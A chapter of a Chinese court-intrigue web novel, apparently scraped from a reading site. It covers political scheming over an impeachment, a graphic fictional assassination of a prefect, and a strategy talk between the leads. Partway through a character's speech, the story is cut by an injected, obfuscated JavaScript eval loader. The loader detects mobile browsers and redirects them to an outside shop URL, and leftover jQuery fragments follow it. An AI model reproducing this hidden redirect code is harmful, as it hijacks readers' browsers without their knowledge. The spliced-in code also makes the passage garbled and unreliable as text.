王相面色阴沉的回府,立刻召集了所有幕僚。
但当幕僚们都集于门前时,他又传话说让他们回去,只让琅独一人进来。
琅独坦然的拱手行了个礼,便在众人不服气的眼神中迈步进去了。
“主子。”
“嗯,不必多礼,坐。”王相摆摆手,单刀直入:“对于早朝的事,你怎么看。”
琅独站起来回话:“属下认为,秦王此人心机诡秘,行事狡诈。由赏花宴一事可得,他看似荒唐的举动背后,皆怀隐思,不为人察,此次依然。属下认为今日他突然弹劾林效,目的有三:
其一,向朝臣宣告他起复入朝,摒弃三年来低调自守,不涉朝局之态,让众人看到他挺身入局,争握权柄的心态。
其二,便向众人昭示陛下对其的信重——弹劾林效一事,既无实证,亦未彻查,这般轻慢随意的弹劾,陛下竟仍为他不顾长公主颜面,封禁公主府,还下旨着人严加查办。
其三,他想借林效之手,掩盖自己真正的图谋。只是属下不解他为何偏选了林效,若他本意是针对主子与王家,朝中可为突破口的官员比比皆是,而林效素来官声平平,行事低调,与秦王更是未有过节,实在令人费解。”
听着他抽丝剥茧的分析,王相眼中的欣赏越发浓厚。
琅独言毕,低头沉思之时。王相冷不丁开口:
“林效,是本相的人。”
琅独悚然一惊:“原来如此,所以他许闻铮剑指的,还是王家。”
王相将他的反应尽收眼底,娓娓说道:“林效未入京登科前,便是本相一手培植的势力。后来他自身争气,高中探花郎,恰如本相所料,圣上为他与长公主赐婚。从那以后他便借长公主的身份,在后宫广布眼线。
算下来,他效忠本相已有十余载。这些年他行事虽素来谨慎,但以许闻铮的能耐察觉他的身份并不难。故而他今日弹劾林效,也在本相的意料之中。”
琅独恍然大悟,满脸敬佩之色:“主子远见!”
但随即他脸上又冒出了担忧之色:“只是……”
“但说无妨。”
“……虽林效对主子忠心耿耿,但人心不测,难保不会生变。”
王相眯起眼睛:“你是想让本相先下手为强,除掉林效?”
琅独不慌不忙的拱手:“非也,属下有一计,可使主子坐山观虎斗,尽收渔翁之利。”
……
“许闻铮弹劾了林效?”
薛幼安放下书卷,有些惊讶。
“对啊小姐,这外面都传开了。殿下真是好大的威风,刚一入朝就针对驸马爷,丝毫不顾与长公主的姐弟之情,现在人人都说秦王心狠手辣,为收拢势力不择手段。”知春啧啧称奇。
薛幼安听后若有所思。
“他若真是为达目的不择手段,便不会选择林效。此人身为长公主驸马,又任翰林院编修,素有声名。他贸然弹劾,非但得不到朝臣支持,反而会惹自己一身非议,与长公主心生嫌隙,到头来得不偿失。”
知春疑惑道:“那他这是何苦?”
薛幼安摇摇头:“且看吧,或许过不了几日我们就会知道了。”
她看向窗外,此时距许闻铮身死还有十个月,这十个月发生的每一件事都极为重要,容不得丝毫闪失。
“知春,”她吩咐到:“你去寻几个府上的好手,让他们盯紧长公主府,有任何风吹草动即刻向我汇报。”
“是,小姐。”
薛幼安低头拿起桌子上的宣纸,看着自己写下的四句诗久久沉默。
“榴月观波风渐起”已经解决。那么下一句“玉碎寒锋弃雪踪”是何意?
玉碎……只是单纯的指代玉石吗?
她撑着下巴苦苦思索。眼前的诗就像一柄悬挂在头上,随时会劈下来的利剑,提醒着她随时要保持警惕。
-
“砰——”的一声巨响,凉州知府大门被人一脚踹开。
一个手握双刀的女孩跨步走进,她的腰上别着个刚砍下来的冒着热气头颅,长长的流苏银链垂在脑后,泛着亮闪闪的银光。
她身后跟着数十位玄衣铁臂、凛凛生威的随从,看他们的打扮,不像是正规军队,倒像是江湖中人。
女孩身量还未长成,然而通身气势已经慑人心魄,面对一拥而上的府兵,她视而不见。两侧玄衣人为她开路,偶尔有不怕死的人冲到面前,女孩皆面露不耐烦的一招毙命,步履未停。
数十人在偌大的知府内如入无人之境,很快地砖上便淌满了血,空气中充斥着令人作呕的腥臭味。
听着外面的喊打喊杀,凉州知府吓破了胆,跑到内室蜷缩在柜子里瑟瑟发抖,祈祷着他们赶紧离去。
然而事与愿违,只听“吱呀——”一声。
一双指节纤长,沾着点点血迹的手打开了柜门。
“呀—”女孩惊奇的说,声音轻轻的,像是怕吓到柜子里的人。
“还真是别开生面的会见啊,知府大人。”
知府连滚带爬的往外逃,女孩也不拦他,只是把腰上的脑袋拽下来,踢蹴鞠一样踢到他面前。
脑袋在地上翻滚了几周,慢慢停下。
知府被吓得屁滚尿流,他凝神去看,待看清了这脑袋上的五官后,发出了一声凄厉的哀嚎,他扑上前去,将儿子的首级死死抱在怀里。
“辉儿——我的辉儿啊——”
他目眦尽裂的看向女孩,胸膛极度的起伏着,双目充血,却敢怒不敢言。
“你的儿子惨死,仇人在你眼前都不愿报仇?知府大人还真如百姓们所说爱民如子,待人宽厚。”女孩佩服道。
“你们江鼓楼到底要干什么!我可是凉州知府,你们胆敢谋害朝廷命官!不怕掉脑袋吗!”凉州知府色厉内荏的叫喊着,又瞄到了怀里儿子的脑袋,身体抖了一抖,欲哭无泪。
“你们……你们不是收钱杀人吗?我有钱,知府的钱你们都可以拿!不够的话……我后院那些妻妾,还、还有我那几个女儿,都给你们!”
“别杀我!——别杀我……”
女孩挑起一边眉毛,好整以暇。
“钱嘛,我们江鼓楼不缺,人,就更不缺了。今日来贵府,我只为一事。”
她展开手里厚厚一沓信纸,将它们扔到知府前面。
“请教知府大人,这每月与你通信之人,姓甚名谁啊?”
此话一出,知府脸上血色尽消,他心如死灰的看着飘落满地的信纸,明白自己活不过今晚了。
知府做着最后的垂死挣扎:“三日前你身受重伤,在路旁差点冻死,是我儿巡山救了你!你竟然恩将仇报!不管你和你背后之人是谁,必定会天打雷劈,不得好死!”
话音落,不只是那几个字触怒到了眼前之人,女孩之前散漫的态度瞬间消散,她身形一闪,直直将刀插入知府的心脏。
“噗嗤”一声,血肉飞溅的声音格外清晰。月光下,那双生的极漂亮的眼睛因被激怒而泛着血色。
“在我眼中,世人只分两种:与哥哥有关的和与哥哥无关的。细下又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292864|198539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
分两类:哥哥要保的,和哥哥要杀的。
哥哥要保,就算是杀父仇人我也要保,哥哥要杀,即便是救命恩人我也会杀!
与我谈论这是非伦理,梁知府,你找错人了。更何况,你儿子捡我回来,是为了我这张脸。对于你们这种人,我杀起来更高兴。”
她缓缓转动刀把,在知府的耳边一字一句说道。
“在下江鼓楼,鸣玉。好好记住是谁送你上的西天,他日化作厉鬼索命,睁大你的狗眼,莫要认错了人。”
凉州知府倒下时最后看到的画面,是女孩染了血迹后愈发动人心魄的面庞,和明亮的、盛着粼粼月光的一双桃花眼。
少顷后,许鸣玉拎着一纸供状从房里出来,玄衣人们跟在她身后。一行人有条不紊的离开知府,翻身上马扬鞭而去。
-
翌日,薛幼安照常去秦王府练功,由于许闻铮复朝,他们的教学时间改为了每日下午。
马车上,知春低声汇报:“小姐,昨晚公主府有动静,咱们的人看到有人深更半夜出府,看样子应该是送信。不过那人机警,我们跟丢了。”
“无妨,想必接下来几日还会有动作,让他们再盯紧点。”薛幼安无甚意外。
知春点头记下。
“小姐,到地方了。”
马车停下,车夫高声说道。
一双骨节分明的手掀开帘子,露出许闻铮的脸。
“殿下怎么亲自来迎?”薛幼安惊讶道。
“薛小姐昨日送我入朝,所言句句入心,尤为难忘;怅憾纱帘之后,芳容绰约却不得一见。故今早早相迎,既报昨日小姐送行之恩,又可亲启帘幕,一观佳人风采。”
许闻铮含着笑意,朗声道。
他下朝后便卸了束冠,只用银白绸缎发带在脑后扎了马尾,风吹起,少年侧目而视,相比平日里更显少年意气风流。
“殿下既有如此美意,岂敢不从?”薛幼安笑看他一眼,顾盼生辉。
“来,小心。”
许闻铮扶她下了马车,两人相携进府。留下身后的寒山和知春心照不宣的相视一笑。
“殿下昨夜弹劾林驸马,可是因为他是王相的人?”
薛幼安一边比划着长鞭,一边问正在给她做示范的许闻铮。
“薛小姐真是聪明。”许闻铮欣赏的看了她一眼。
“林效与王相的关系藏的极深,我猜他在入京之前便已投入王相麾下,十几年来低调行事,极为谨慎,为了揪出他这颗棋子,我还颇费了些功夫。
——如果不是他有件事漏了马脚,我还不会这么快找上他。”
话至此,许闻铮顿了顿,似乎想到了什么极为恶心的事情,面若冰霜。
薛幼安察觉,暗自转移了话题:
“所以,他贪污受贿这些事是你编造的咯,目的是是什么?”
许闻铮的神色缓和下来:“薛小姐以为呢?”
“我猜,殿下是想让他自乱阵脚,毕竟不做亏心事,不怕鬼敲门。
贪污受贿这些小事三五日便可查清,届时他便会官复原职,而殿下就会饱受朝臣非议。短时间内大起大落,纵其素来机警也难免失态,所以翻案解禁那天,便是他意志最松懈的时刻,当趁此良机,将其彻底攻破。
殿下,我说的,对吗?”薛幼安语调轻柔,不紧不慢的说道。
许闻铮一副被拆穿的失落模样,叹道:“幸而薛小姐与我不是敌人,不然此仗,我定然打的头疼。”
薛幼安捂嘴,两人皆低笑出声。